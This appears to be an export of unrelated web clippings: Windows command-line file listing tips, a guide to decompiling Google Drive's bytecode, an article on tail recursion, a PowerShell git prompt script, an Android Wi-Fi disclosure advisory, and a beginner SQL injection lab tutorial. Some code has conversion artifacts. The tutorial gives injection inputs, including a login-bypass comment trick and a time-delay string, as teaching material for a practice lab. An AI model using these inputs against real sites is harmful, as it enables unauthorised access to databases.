in our given directory and its subdirectories.  
  
\(BTW, with the FOR /R, our iterator variable will only take on the value of
file names... if you want files and directories, you could use FOR /D /R...
yup... both /D and /R together in the same FOR loop\).  
  
You might think that we could sort them using the sort command. Unfortunately,
Windows cmd.exe built-in sort is an alphanumeric sort, and cannot in anyway
understand the dates we want to sort by. Ouch.  
  
So, what can we do? Well, we could dump our output into a csv file thusly:  

[code]

    C:\> for /r %i in (*) do @echo %~ti, %~fi >> file_list.csv
    
[/code]

Now you can see why I put that comma in between the timestamp and full file
path. Now, we could open up that csv file in a spreadsheet, and sort it
however we want. I know that's kinda cheating with respect to our rules of
using only built-in features, but we simply lack a good sort program in
cmd.exe. Thus, we often have to create csv's and use a spreadsheet.  
  
But, wait... Hal threw us a bone with his follow-up command, which is looking
for a file with a very particular date and timestamp during a forensics
investigation. We can look for that easily in the output of our FOR /R loop,
as follows:  

[code]

    C:\> for /r %i in (*) do @echo %~ti, %~fi | find "04/28/2009 02:06 PM"
    
[/code]

Mr. Bucket mentioned to me that the forfiles command is worthy of a mention in
this article. My first thought was... "That's a great tool, but it's only in
the Resource Kits." I've used it before in investigations, and carry it around
with me on a USB token along with a ton of other useful tools. But, Mr.
Bucket's bringing it up did make me double check... and, lo and behold,
forfiles is built-in to Vista and Windows 2008 Server\! That's scrumptious\!
The best news I've had in the last 30 minutes, at the very least. Sorry, but
it's not built into earlier versions of Windows, though, but is a separate
download from the Resource Kits.  
  
Using forfiles can really help us out here, and, on Vista and 2008, we've got
it built in. Here's how we can satisfy Hal's original hankerin':  

[code]

    C:\> forfiles /p c:\ /s /d -2
    
[/code]

This one will display files inside of c:\ \(the /p means "path"\), recursing
subdirectories \(/s\), displaying those with a last modification date earlier
than the current date minus two days. Note that the /d option can be used with
a date as well, instead of a number of days, with the date expressed in
MM/DD/YYYY format. Instead of a -, you can also use a + in front of the number
or date to show all files modified after that given date.  
  
So, we have many options... dir for really simple stuff, FOR /R and FOR /D /R
for more complicated stuff, and forfiles if we're on Vista or 2008. It's nice
to have options in life. :\)

  

# kholia/AntiDrive

**Created:**| _9/27/2013 12:18:04 PM_  
---|---  
**Updated:**| _9/27/2013 12:18:04 PM_  
**Author:**| __  
**Tags:**| __  
  

# AntiDrive****

Reversing Google Drive and other goodies ;\)

#  Reversing Google Drive****

  1. Download Google Drive and install it \(or use 7-Zip to extract the resources from the .msi file\)**.**
  2. `googledrivesync.exe` file is "fat" and looks interesting, right**?**
  3. Download a special version of PyInstaller**.**
[code]     $ git clone https://github.com/kholia/pyinstaller.git -b AntiDrive

    
    $ cd pyinstaller
    
[/code]

  4. Extract stuff from `googledrivesync.exe` file**.**
[code]     $ python utils/ArchiveExtractor**.** py googledrivesync.exe

    [+] magic found at 6125
    Extracting bytecode to output/osx.pyc
    ..**.**
    Extracting bytecode to output/common/worker.pyc
    Extracting bytecode to output/wx/html2.pyc
    Extracting bytecode to output/encodings/punycode.pyc
    Extracting bytecode to output/common/cloud_snapshot_diff_helper.pyc
    Extracting bytecode to output/windows/cacheinvalidation.pyc
    Extracting bytecode to output/encodings/cp1258.pyc
    Extracting bytecode to output/common/snapshot_sqlite.pyc
    Extracting bytecode to output/win32com/client/CLSIDToClass.pyc
    Extracting bytecode to output/encodings/latin_1.pyc
    Extracting bytecode to output/tokenize.pyc
    ..**.**
    Extracting source to output/_mountzlib.py
    Extracting source to output/useUnicode**.** py
    Extracting source to output/versioneddll.py
    Extracting source to output/win32comgenpy**.** py
    Extracting source to output/main.py
    
[/code]

  5. De-compile the bytecode files using uncompyle2**.**
[code]     $ uncompyle2 output/common/worker.pyc

    pass
    
[/code]

;\)

  5. Study the soure-code, find bugs and make Google Drive better**\!**

#  Credits****

  * uncompyle2
    * https://github.com/wibiti/uncompyle2 
    * https://github.com/Mysterie/uncompyle2 
  * PyInstaller
    * https://github.com/kholia/pyinstaller/tree/AntiDrive 
    * https://github.com/pyinstaller/pyinstaller 

#  TOD0****

  * dump bytecode from memory \(revive pyREtic\)**.**

****

# Programming Without Variables | Dr Dobb's
**Created:**| _9/13/2013 9:24:11 AM_  
---|---  
**Updated:**| _9/13/2013 9:24:11 AM_  
**Author:**| __  
**Tags:**| _programming_  
  

# **P** rogramming Without Variables****

1 Comment

Replace a loop by a function that uses only tail recursion**.**

Last week, I discussed two different philosophies of programming-language
design**.** One philosophy is that programming languages exist in order to
grant convenient access to computer hardware; the other is that a programming
language should make it easy to write programs, and that the computer's job is
then to execute those programs.

I used mathematical notation as an example**.** In general, mathematicians use
a particular name to denote a single value in a particular context**.** The
common notion in programming that a name denotes a "variable," which might
have one value at one time and another value at another time, is generally
absent from mathematical notation**.**

As an example, I posed a problem: Rewrite the following C function so that a
name denotes only a single value at any given time:

**?**

| `unsigned collatz(unsigned n)``{ ``assert``(n **!** = 0);``unsigned count =
0; ``while` `(n **!** = 1) { ``if` `(n % 2 == 0) ``n /= 2; ``else``n = 3 * n +
1; ``++count; ``} ``return` `count; ``}`  
---|---  
Several readers proposed solutions; the most straightforward of which is the
one by reader **Nons** :

**?**

| `unsigned rcollatz(unsigned n)`` { ``assert``(n **!** = 0); ``if` `(n == 1)
``return` `0; ``else` `if` `(n % 2 == 0) ``return` `1 + rcollatz(n / 2);
``else``return` `1 + rcollatz(3 * n + 1);`` }`  
---|---  
This is an example of replacing an iterative strategy by a divide-and-conquer
strategy**.** The general idea of the latter is that you solve a simple case
of the problem, and then you solve the more complicated cases by finding a way
to reduce that more complicated case to one or more simpler cases**.**

Although the idea of replacing iteration by divide-and-conquer is
straightforward to explain, it has a pragmatic disadvantage: Programming
languages typically have to store in memory the chain of function calls
currently being executed, which means that each trip through this "loop"
consumes memory to keep track of those calls**.** In other words, `rcollatz`
needs an amount of memory proportional to its result in order to run**.**

There is an alternate, somewhat more complicated, technique to translate a
function with a loop into a recursive function that does not change any
variables**.** It takes advantage of the fact that it is usually possible for
a compiler to translate a _tail recursion_ into a jump instruction**.** A tail
recursion is a recursive call that is used immediately as the function’s
result**.** So, for example, the statement

**?**

| `return` `1 + rcollatz(n / 2);`  
---|---  
does not involve a tail recursion because after `rcollatz` returns, its result
is used as an operand of +**.** If, on the other hand, we were to write

**?**

| `return` `rcollatz(n / 2);`  
---|---  
that call would be a tail recursion**.**

Here is how to replace a loop by a function that uses only tail recursion:

  1. Identify every variable with a value that changes during the loop**.**
  2. Define an auxiliary function with one parameter for each of the variables identified in \(1\)**.**
  3. Replace the loop with a tail-recursive call that uses the new values of the variables**.**
  4. Replace the original function with a call to the auxiliary function with the appropriate initial values for the variables**.**

In the case of `collatz`, step \(1\) should identify the variables `n` and
`count`**.** Steps \(2\) and \(3\) yield the following auxiliary function:

**?**

| `unsigned collatz_aux(unsigned n, unsigned count) {``if` `(n == 1)``return`
`count;``else` `if` `(n % 2 == 0)``return` `collatz_aux(n / 2, count +
1);``else``return` `collatz_aux(3 * n + 1, count + 1);``}`  
---|---  
Step \(4\) then gives us the following tail-recursive version of `collatz`:

**?**

| `unsigned trcollatz(unsigned n)``{``assert``(n **!** = 0);``return`
`collatz_aux(n, 0);``}`  
---|---  
What we have learned so far is that, at least for this function, it is
possible to rewrite it so that its "variables" never actually vary, and with a
little effort and a reasonable compiler, it is possible to do so while
maintaining the program's speed**.**

However, there's a problem, which we can see if we change the original program
specification: Instead of returning the _number_ of steps needed to reach 1
from a given input, suppose we want to return the entire sequence of values
reached during the Collatz process**.** We can write that program iteratively
as follows:

**?**

| `vector<unsigned> collatz_vec(unsigned n)``{ ``assert``(n **!** =
0);``vector<unsigned> result;``while` `(n **!** = 1) {
``result.push_back(n);``if` `(n % 2 == 0) ``n /= 2; ``else``n = 3 * n + 1;
``}``return` `result; ``}`  
---|---  
If we try to write this program recursively using the technique we mentioned
earlier, we find that each recursive call passes the entire `result` array as
an argument**.** As a result, the program's runtime will be quadratic in the
number of iterations — hardly a happy state of affairs**.** In effect, the
whole idea of an array is built on being able to change part of it, and if we
intend to avoid changing memory once we have put values into it, we need
another kind of data structure entirely**.** Next week, we'll look at what
such a data structure might be**.**

****

# My Ideal Powershell Prompt with Git Integration - Mark Embling

**Created:**| _12/13/2009 9:51:21 PM_  
---|---  
**Updated:**| _12/13/2009 9:51:34 PM_  
**Author:**| __  
**Tags:**| _powershell programming windows environment Git_  
  

### My Ideal Powershell Prompt with Git Integration

Posted on 5 September 2009 16:03.

I have become quite fond of Powershell lately and enjoy its flexibility. As
part of this flexibility, it has impressive scope for customisation and
modification similar to Bash \(although arguably in a much nicer way\). My
main bugbear with the default installation of Powershell is the horrible
prompt you are provided with. As such, I have modified my prompt to better
suit my needs including useful details about the git repository when within
one.

The Git part of my prompt is inspired by this blog post, but with some of my
own ideas and tweaks. It's also worth noting that like others, I use the
excellent Console app, which makes a much nicer host application for
Powershell \(and cmd.exe, bash, etc\).

### So What Does It Look Like?

My standard \(non-git\) prompt looks like this:

<img src='img/Temp2_5513.jpg' />

I decided to make it closer resemble the standard bash prompt as I find it
useful. It shows my username, the machine name and the current folder I am
inside. This is good for me as I regularly SSH into other machines \(which
have a similar prompt\) and this makes it easy to see at a glance what machine
I am connected to and where on the filesystem I am at present. I also find it
useful to set the title to the same information, as can be seen in the tab at
the top of the Console window.

When I move into a git repository I have cloned \(or created\) on my machine,
the prompt grows to show me some useful information about my repository clone:

<img src='img/Temp2_5511.jpg' />

In addition to my standard prompt, I now have the git branch name and number
of files added \(+\), edited \(~\) and deleted \(-\) shown. The branch name
also changes colour depending on the status: if I have made no commits since
cloning \(i.e. my branch is not ahead of that on  _origin_\), the branch name
is shown in cyan. If I have made additional commits \(and my branch is
therefore ahead of that on  _origin_\), the branch name changes to red. This
is to remind me to push my branch back up to origin when I am done. Of course,
if there is no remote, it will never change colour. Also, if additional files
have been created but are not yet tracked, an exclamation point \(\!\) will
appear at the end of the prompt to show the presence of untracked files.

<img src='img/Temp2_5512.jpg' />

### Nuts and Bolts

So now onto the good stuff - how it's done. Powershell uses a profile.ps1 \(or
Microsoft.Powershell\_profile.ps1\) file within your
`~/Documents/WindowsPowershell` directory to determine what happens to your
Powershell. It is pretty much equivalent to Bash's `~/bash_profile`file. In
order to change the prompt, we simply create a function called `prompt`, and
do whatever we want in here.

I have split mine into two files: profile.ps1 which defines the prompt
function and actually decided what should be shown, and gitutils.ps1 which
contains a couple of functions for gathering the git information. I have made
them both available as gists on github and these can be dropped straight into
your `~/Documents/WindowsPowershell` directory.

### The Code

#### gitutils.ps1

[/code]

[code]

\# Git functions

\# Mark Embling \(http://www.markembling.info/\)

\# Is the current directory a git repository/working copy?

function isCurrentDirectoryGitRepository \{

if \(\(Test-Path ".git"\) -eq $TRUE\) \{

return $TRUE

\}

\# Test within parent dirs

$checkIn = \(Get-Item .\).parent

while \($checkIn -ne $NULL\) \{

$pathToTest = $checkIn.fullname + '/.git'

if \(\(Test-Path $pathToTest\) -eq $TRUE\) \{

return $TRUE

\} else \{

$checkIn = $checkIn.parent

\}

\}

return $FALSE

\}

\# Get the current branch

function gitBranchName \{

$currentBranch = ''

git branch | foreach \{ 
if \($\_ -match "^\\\* \(.\*\)"\) \{

$currentBranch += $matches\[1\]

\}

\}

return $currentBranch

\}

\# Extracts status details about the repo

function gitStatus \{

$untracked = $FALSE

$added = 0

$modified = 0

$deleted = 0

$ahead = $FALSE

$aheadCount = 0

$output = git status

$branchbits = $output\[0\].Split\(' '\)

$branch = $branchbits\[$branchbits.length - 1\]

$output | foreach \{ 
if \($\_ -match "^\\\#.\*origin/.\*' by \(\d+\) commit.\*"\) \{

$aheadCount = $matches\[1\]

$ahead = $TRUE

\}

elseif \($\_ -match "deleted:"\) \{

$deleted += 1

\}

elseif \(\($\_ -match "modified:"\) -or \($\_ -match "renamed:"\)\) \{

$modified += 1

\}

elseif \($\_ -match "new file:"\) \{

$added += 1

\}

elseif \($\_ -match "Untracked files:"\) \{

$untracked = $TRUE

\}

\}

return @\{"untracked" = $untracked;

"added" = $added;

"modified" = $modified;

"deleted" = $deleted;

"ahead" = $ahead;

"aheadCount" = $aheadCount;

"branch" = $branch\}

\}

view rawgitutils.ps1This Gist brought to you by GitHub.

#### profile.ps1

[/code]

[code]

\# My preferred prompt for Powershell.

\# Displays git branch and stats when inside a git repository.

\# See http://gist.github.com/180853 for gitutils.ps1.

. \(Resolve-Path ~/Documents/WindowsPowershell/gitutils.ps1\)

function prompt \{

$path = ""

$pathbits = \(\[string\]$pwd\).split\("\",
\[System.StringSplitOptions\]::RemoveEmptyEntries\)

if\($pathbits.length -eq 1\) \{

$path = $pathbits\[0\] + "\"

\} else \{

$path = $pathbits\[$pathbits.length - 1\]

\}

$userLocation = $env:username + '@' + \[System.Environment\]::MachineName + '
' + $path

$host.UI.RawUi.WindowTitle = $userLocation

Write-Host\($userLocation\) -nonewline -foregroundcolor Green

if \(isCurrentDirectoryGitRepository\) \{

$status = gitStatus

$currentBranch = $status\["branch"\]

Write-Host\(' \['\) -nonewline -foregroundcolor Yellow

if \($status\["ahead"\] -eq $FALSE\) \{

\# We are not ahead of origin

Write-Host\($currentBranch\) -nonewline -foregroundcolor Cyan

\} else \{

\# We are ahead of origin

Write-Host\($currentBranch\) -nonewline -foregroundcolor Red

\}

Write-Host\(' +' + $status\["added"\]\) -nonewline -foregroundcolor Yellow

Write-Host\(' ~' + $status\["modified"\]\) -nonewline -foregroundcolor Yellow

Write-Host\(' -' + $status\["deleted"\]\) -nonewline -foregroundcolor Yellow

if \($status\["untracked"\] -ne $FALSE\) \{

Write-Host\(' \!'\) -nonewline -foregroundcolor Yellow

\}

Write-Host\('\]'\) -nonewline -foregroundcolor Yellow

\}

Write-Host\('>'\) -nonewline -foregroundcolor Green

return " "

\}

view rawprofile.ps1This Gist brought to you by GitHub.

### Summary

So there it is - my ideal fusion of Powershell, Git and the spirit of bash. Of
course, my gigantic prompt might not suit all - I like it as it contains a lot
of information, but it also uses a lot of screen space. The prompt function
can be tweaked to shrink it up if necessary - the `username@host` part might
not be for everyone.

You may have also noticed in my screenshots that all the colours appear a bit
more pastel than normal - Console allows you to tweak the colours which are
used for each of the 16 ANSI colours. However I did make sure it looks fine
with the default Powershell colours too, and it does. Enjoy.

  

# Taddong Security Blog

**Created:**| _5/11/2011 8:58:51 PM_  
---|---  
**Updated:**| _5/11/2011 8:58:51 PM_  
**Author:**| __  
**Tags:**| _vulnerability android_  
  

## Thursday, May 5, 2011

###  Vulnerability in Android: To add, or not to add \(a Wi-Fi network\), that
is the question

**Title:** Preferred Network List \(PNL\) disclosure vulnerability in Android
based on the method used to add Wi-Fi networks  
**Vulnerability ID:** TAD-2011-003  
**Credits:** This vulnerability was discovered by Raul Siles, Founder and
Senior Security Analyst with Taddong \(www.taddong.com\)  
**Publication date:** May 5, 2011  
**Vendors contacted:** Android Security Team  
  
**Vulnerability Summary:**  
Depending on the method the user followed to add a Wi-Fi network to its
Android mobile device, selecting it from the Wi-Fi networks scan list or
manually through the “Add Wi-Fi Network” button, the network name could be
disclosed in the air by Android and be used by an attacker to impersonate that
network, forcing the victim mobile device to connect to it to capture and
manipulate its traffic and launch more advanced attacks.  
  
For all broadcast Wi-Fi networks the user has previously connected to from the
“Add Wi-Fi Network” button, it is advised to delete them all and re-add them
back from the scan list once the user is under the network coverage.  
  
Android users should preferably connect to a new broadcast Wi-Fi network from
the scan list and use the “Add Wi-Fi Network” button only for connecting to a
non-broadcast Wi-Fi network. A non-broadcast Wi-Fi network does require a Wi-
Fi client to expose the network name in its probe request packets in order to
be able to successfully connect to the network, making the client vulnerable
to the previously mentioned security threats.  
  
**Vulnerability Description:**  
Android mobile devices, as most Wi-Fi clients, keep a list of the wireless
networks manually configured, plus the networks it has connected to in the
past, on the Preferred Network List \(PNL\). Every time the Wi-Fi interface is
turned on, and periodically once it has been activated \(for example, to roam
between access points\), the device checks through 802.11 probe requests what
networks in its PNL are available in the current location. Based on the
responses obtained, it tries to connect to the most preferred network.  
  
In the past this network discovery process was performed by sending a generic
probe request for the broadcast \(or any\) network plus specific requests for
every network in the PNL. This meant devices disclosed the full PNL in the air
\[1\], exposing themselves to karma-like attacks \[2\], where an attacker can
identify all the networks \(or access points\) the mobile device is trying to
connect to and impersonate them, forcing the victim device to connect to the
attacker's network to capture and manipulate its traffic and launch more
advanced attacks.  
  
In order to avoid this vulnerable behavior, modern operating systems and Wi-Fi
supplicants changed the previous vulnerable behavior not to advertise the
wireless networks in its PNL. Modern Wi-Fi clients only generate 802.11 probe
requests for the broadcast network, generically asking for the networks
available in the area. An exception to this behavior is presented by the
existence of Wi-Fi hidden networks in the PNL: due to the fact hidden \(or
non-broadcast\) networks do not include their SSID \(Wi-Fi network name\) in
the beacon frames, and do not respond to generic queries asking for any
network available, the Wi-Fi clients need to specifically ask for these hidden
networks, disclosing its name and existence inside the device PNL. This makes
devices vulnerable again to the aforementioned attacks.  
  
Android mobile devices provide two methods to add and configure Wi-Fi networks
into the device. If the network is visible, it will appear on the Wi-Fi
networks scan list. By simply selecting it form the list, and after providing
the network credentials, the user can add the Wi-Fi network to the device.
Additionally, Android provides an “Add Wi-Fi network” button at the bottom of
the scan list, to manually add Wi-Fi networks. This is the only method
available to add hidden networks, as they will never appear on the scan list.  
  

<img src='img/Temp2_7863.png' width='240' height='400' />

  

However, Android does not provide any specific configuration option through
this method to specify if a network is hidden \(non-broadcast\) or visible
\(broadcast\). Although the most natural way of adding a network for end users
is from the scan list \(fortunately, for Android, this is the secure option\),
unfortunately, the method of manually adding Wi-Fi networks to a device is
very common too, and recommended from a security perspective, as advanced
users have more control over all the Wi-Fi network settings and options.  
  
This subtle configuration behavior has serious security implications.
Depending on how the user added the Wi-Fi network to the device, selecting it
from the scan list or through the "Add Wi-Fi network" button, you are
vulnerable or not. As a result, all the Wi-Fi networks \(hidden or visible\)
added to Android through the “Add Wi-Fi network” button are implicitly
considered as hidden, its details will be revealed in the air, and the mobile
device will be exposed to Karma-like attacks \[2\].  
  
The expected non-vulnerable behavior implies the propagation of probe requests
only for the broadcast \(or any\) network plus all the intentionally
configured hidden networks in the PNL. By default, unless it is clearly
specified by the user, all networks should be treated as visible, not
generating any probe request frames for them.  
  
The vulnerable behavior exists on the default Android configuration when
adding a Wi-Fi network through the “Add Wi-Fi network” button; the Wi-Fi
networks connected from the scan list are not exposed and hence not
vulnerable.  
  
This vulnerable behavior is similar to TAD-2010-003 \[3\], but in the case of
Android, only those Wi-Fi networks added through the “Add Wi-Fi Network”
button are disclosed, instead of the full PNL.  
  
**Security Solutions, Workarounds, and Countermeasures:**  
Every time a user connects to a Wi-Fi network for the first time from her
Android mobile device, it must select it from the Wi-Fi networks scan list,
instead of using the “Add Wi-Fi Network” button except when connecting to
hidden networks \(option not recommended\). This method ensures the Wi-Fi
network will be added to the PNL in a secure way and won’t be disclosed
through probe request scans.  
  
End users, corporate administrators, and security professionals, using or
managing Android mobile devices must be aware of this behavior and ensure that
all the Wi-Fi networks available on the device PNL are treated as visible.  
  
Unfortunately, Android does not provide any indication on the user interface
to be able to differentiate between the two types of networks \(hidden or
visible\) for the already configured Wi-Fi networks. Once a Wi-Fi network has
been added, the user cannot know if it was securely added or not. Thus, for
all Wi-Fi networks previously added to the device the user must delete them
all and re-add them again, selecting each of them from the scan list \(and not
using the “Add Wi-Fi Network”\) once the user is under the network coverage
\(and it is visible\).  
  
A similar scenario occurs for those Wi-Fi networks that were configured as
hidden in the past, were manually and insecurely added to Android, and are
configured as visible now because the administrator learned about Karma-like
attacks and improved the security of the network by making it visible. It is
highly recommended not to setup or connect to Wi-Fi hidden networks, as the
Wi-Fi clients will be exposed to the attacks previously mentioned.  
  
A more granular solution is to monitor the mobile device Wi-Fi traffic,
identify what Wi-Fi networks Android is generating probe requests for, and
delete and re-add again only those networks.  
  
The recommended solution would be for Android to add a new configuration
setting to the user interface that allows the user to specify if the network
must be considered hidden or visible every time a new Wi-Fi network is added
to the mobile device, independently of the method used, or at least when it is
manually added through the vulnerable “Add Wi-Fi Network” button. The default
value for this new setting must reflect that the network to connect to is
visible \(unless the user specifies otherwise by changing the default value\).  
  
Besides that, Android users should be able to see and change this “type of
network” setting at any time, that is, when the Wi-Fi network is added for the
first time, or afterwards, through the "Edit network" button.  
  
**Vulnerable Platforms:**  
The vulnerable behavior was discovered on Android 2.2.  
  
The Android Security Team has confirmed this vulnerable behavior also affects
all currently available Android 2.x and 3.x versions \(such as 2.2.1, 2.2.2,
2.3, 2.3.2, 2.3.3, or 3.0\).  
  
**Vendor Information:**  
The Android Security Team confirmed the existence of this vulnerable behavior
and is working on changing the "Add Wi-Fi Network" dialog box to read
"Configure a non-broadcast network". The original intent of the "Add Wi-Fi
Network" dialog box was only to add non-broadcast networks; the wording will
hopefully make that clearer.  
  
The new dialog box text will inform aware users that probe request messages
will be sent from their device. They also confirmed there is no Android
documentation available which describes the “scan list” versus the “Add Wi-Fi
Network" behavior, hence the importance of the distribution of this security
advisory in an effort to raise awareness on this issue.  
  
In the “Vulnerability Description” section above, Taddong generally recommends
from a security perspective the method of manually adding Wi-Fi networks to a
device so that advanced users have more control over all the Wi-Fi network
settings and options. The Android Security Team thinks that adding a network
via the scan list is more secure, because more critical security information
can be conveyed automatically, rather than relying on the limited options
available to the user. We \(at Taddong\) agree this could be true for the
average user, especially to avoid misconfiguration and user mistakes, IF the
user connects to a secure and properly configured Wi-Fi network, but
unfortunately, this is not always the case.  
  
We at Taddong honestly believe this finding must be publicly known by end
users and by the information security community in order to take appropriate
countermeasures and mitigate the vulnerable behavior. Therefore, we have tried
to coordinate the release of this security advisory together with the vendor,
following responsible disclosure principles. This vulnerable behavior is
especially relevant considering the broad market adoption of Android mobile
devices \(with significant increasing adoption estimations for the upcoming
years\), and its extensive usage to connect to Wi-Fi networks.  
  
**Vulnerability Report Timeline:**  
**2011-04-08** : Taddong contacts the Android Security Team to provide details
about this vulnerable behavior. The Android Security Team requests more
details and clarifies the expected behavior.  
**2011-04-09** : Taddong provides extra details after reanalyzing the expected
behavior and ratifies the vulnerable behavior only when the “Add Wi-Fi
Network” button is used. Taddong asks for details to differentiate the two
types of networks, available documentation, expected behavior, and future
plans to mitigate the vulnerable behavior.  
**2011-04-12** : Taddong asks for feedback, and the Android Security Team
replies back clarifying the previous questions and notifying future plans to
improve the Android user interface. Both parties start to coordinate the
public disclosure of this issue.  
**2011-04-15** : Taddong completes and provides an initial security advisory
draft to the Android Security Team for its review and comments. The Android
Security Teams confirms its reception, internal distribution, and feedback is
expected for next week.  
**2011-04-22** : The Android Security Team confirms it is still collecting
feedback regarding the security advisory draft.  
**2011-04-28** : Taddong tries to get an update of the status of the security
advisory draft review process.  
**2011-05-04** : Taddong again tries to get an update of the status of the
security advisory draft review process. The Android Security Team provides its
review and comments to the security advisory draft.  
**2011-05-05** : Taddong publishes security advisory TAD-2011-003.  
  
**References:**  
\[1\] "Trying to shut up your wireless chatty Windows". Raul Siles. 2005.  
URL: http://www.raulsiles.com/docs/Chatty\_Windows\_Wifi\_Sep05.html  
\[2\] "KARMA Wireless Client Security Assessment Tools". Dino A. Dai Zovi.
2005.  
URL: http://theta44.org/karma/index.html  
\[3\] “TAD-2010-003: Full 802.11 Preferred Network List \(PNL\) disclosure in
windows Mobile 6.5”. Raul Siles. Taddong. 2010.  
URL: http://blog.taddong.com/2010/09/vulnerability-in-indiscreet-wi-fi.html  
  
**About Taddong:**  
Taddong \(www.taddong.com\) is a company established in Spain in 2010 with the
purpose of improving customer's information security, by discovering and
eliminating or mitigating the real risks that threaten their networking and
information technology infrastructures. To achieve this goal, Taddong's
portfolio includes specialized information security services, requiring an in-
depth technical knowledge and broad understanding of the information
technology market, as well as training services, focused on providing
customers with auto-defense skills. Taddong remains at the forefront of the
security market through continuous research and education activities.  
  
**Disclaimer:**  
The contents of this security advisory are copyright \(c\) 2011 Taddong S.L.,
and may be distributed freely provided that no fee is charged for this
distribution and proper credit is given.

# Beginner Guide of SQL Injection \(Part 1\)

**Created:**| _5/28/2017 10:54:04 PM_  
---|---  
**Updated:**| _5/28/2017 10:54:04 PM_  
**Author:**| __  
**Tags:**| _web-app-sec sql-injection_  
  

  

# Beginner Guide of SQL Injection \(Part 1\)

posted inDatabase Hacking, Kali Linux, Penetration Testing on May 28, 2017 by
Raj Chandel

 SHARE

SQL injection is a technique where malicious user can inject SQL Commands into
an SQL statement via web page.

An attacker could bypass authentication, access, modify and delete data within
a database. In some cases, SQL Injection can even be used to execute commands
on the operating system, potentially allowing an attacker to escalate to more
damaging attacks inside of a network that sits behind a firewall.

**List of Database**

  * MySQL\(Open source\),
  * MSSQL,
  * MS-ACCESS,
  * Oracle,
  * Postgre SQL\(open source\),
  * SQLite,

**Type of SQL Injection**

  * In Band
  * Out of Band
  * Blind SQLI

**SQLI Exploitation Technique**

  * Error Based Exploitation
  * Union Based Exploitation
  * Boolean Based Exploitation
  * Time Based Delay Exploitation
  * Out of Band Exploitation

Try to Identify- where the application interact with DB

  * Authentication Page
  * Search Fields
  * Post Fields
  * Get Fields
  * HTTP Header
  * Cookie

**Basic SQL Functions**

**SELECT** | read data from the database based on searching criteria  
---|---  
**INSERT** | insert new data into the database  
**UPDATE** | update existing data based on given criteria  
**DELETE** | delete existing data based on given criteria  
**Order By** | used to sort the result-set in ascending or descending order  
**Limit By** | statement is used to retrieve records from one or more tables  
**SQL Injection Characters**

1 |  Character String Indicators |  ‘ or “  
---|---|---  
2 |  Multiple-line comment | /\*….\*/  
3 |  Addition, concatenate \( or space in URL\) | +  
4 |  Single-line comment | \# or – -\(hyphen hyphen\)  
5 |  Double pipe \(concatenate\) | ||  
6 |  Wildcard attribute indicator |  %  
7 |  Local variable |  @variable  
8 |  Global variable |  @@variable  
9 |  Time delay |  waitfor delay ’00:00:10’  
10 | String instead of number or vice versa |   
******Database Fingerprinting**

**** We can find out the database by analyzing the error.

S.no |  Error |  Type of Database  
---|---|---  
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1 |  MySQL  
2 | ORA-00933: SQL command not properly ended |  Oracle  
3 | Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string |  MS SQL  
First download sqli lab from **here** and setup in xampp Open SQLI labs

https://github.com/Audi-1/sqli-labs

<img src='img/1384_1.png' width='804' height='356' />

Click on Setup/reset Database for labs

<img src='img/1375_2.png' width='804' height='700' />

<img src='img/1376_3.png' width='804' height='726' />

Before jumping into Dhakkan lab

Let’s first understand the basics. \(How query gets executed at backend? How
queries are formed? How can we break them? What exactly is sql injection?

Consider a login page where you are requested to enter username and password,
when you enter username and password a query \(sql query\) is generated at the
backend which gets executed and result is displayed to us on home page after
login.

Username – Raj

Password – Chandel

So backend query will look like

SELECT \* FROM table\_name WHERE username=’Raj’ AND password=’Chandel’;

It is totally on the developer how he enclosed the parameter value in the sql
query, he can enclose the parameter value in single quote, double quotes,
double quotes with bracket etc.

So query may look like

SELECT \* FROM table\_name WHERE username=’Raj’ AND password=’Chandel’;

SELECT \* FROM table\_name WHERE username=\(’Raj’\) AND
password=\(’Chandel’\);

SELECT \* FROM table\_name WHERE username=”Raj” AND password=”Chandel”;

SELECT \* FROM table\_name WHERE username=\(“Raj”\) AND
password=\(“Chandel”\);

Or in any form totally developer’s choice.

I’ll explain further using first query.

Q – What if I enter username = Raj’ ?

Ans – If I enter username=Raj’ backend query will look like

SELECT \* FROM table\_name WHERE username=’Raj’’ AND password=’Chandel’;

Which is syntactically wrong because of an extra quote

Q- How can we fix this broken query ? Is it possible to do so ?

Ans – Yes it is possible to fix above query even with username = Raj’

We can do so by commenting out the entire query after Raj’

So our valid query will be

SELECT \* FROM table\_name WHERE username=’Raj’

Which is syntactically correct

Q- How to comment out the remaining query ?

Ans – Well it depends on the database that is there at the backend.

We generally use –+ \(hyphen hyphen plus\), \# \(hash\)

So if I enter username = Raj’–+

Complete query at backend will look like

SELECT \* FROM table\_name WHERE username=’Raj’–+’ AND password=’Chandel’;

But our database will read and execute only

SELECT \* FROM table\_name WHERE username=’Raj’ this much query because
everything after –+ will be commented and will not be interpreted as part of
the query.

This is what is called SQL INJECTION. Changing backend query using malicious
input.

I don’t know if you guys are having an interesting doubt or not but I had when
I was learning all these stuff, and the doubt is

According to above query formed by commenting we don’t need a valid password
to login?

Yes if the developer had not taken measure to prevent sql injection and
implemented the query as shown above it is possible to login using only
username.

Confused? Don’t be. I’ll show you this in my upcoming articles. Now you are
ready for lab, so let’s start.

Click on lesson 1 and add id as parameter in the URL

<img src='img/1380_4.png' width='804' height='294' />

Keep on increasing id value \(id=1, id=2…and so on\) you will notice you will
get empty screen with no username and password after id=14 which means
database has 14 records.

<img src='img/5.jpg' width='804' height='271' />

So backend query must be something like this

SELECT \* from table\_name WHERE id=’1’;

Or

SELECT \* from table\_name WHERE id=\(’1’\);

Or

SELECT \* from table\_name WHERE id=”1”;

At this point we don’t know how developer enclosed the value of id parameter.
Let’s find out

Break the query by fuzzing, enter id=1’

Boommm\!\! We get the SQL Syntax error. Since this error will help us in
finding the back end query and we will do SQL injection using this error, this
type of SQL Injection is called **Error Based SQL Injection**

<img src='img/5.4.png' width='804' height='276' />

Now we have to analyze the error See screenshot

<img src='img/1364_7.jpg' width='643' height='366' />

You can also find out this using escape character, in mysql \ \(back slash\)
is used to escape a character.

Escaping a character means nullify the special purpose of that character. You
will get clearer picture using escape character

<img src='img/8.jpg' width='724' height='223' />

<img src='img/5.7.jpg' width='736' height='204' />

<img src='img/1369_10.jpg' width='733' height='204' />

<img src='img/1367_11.jpg' width='739' height='197' />

It is clear from above screenshots that backend query

Less-1 – SELECT \* from table\_name WHERE id=’our input’

Less-2 – SELECT \* from table\_name WHERE id=our input

Less-3 – SELECT \* from table\_name WHERE id=\(’our input’\)

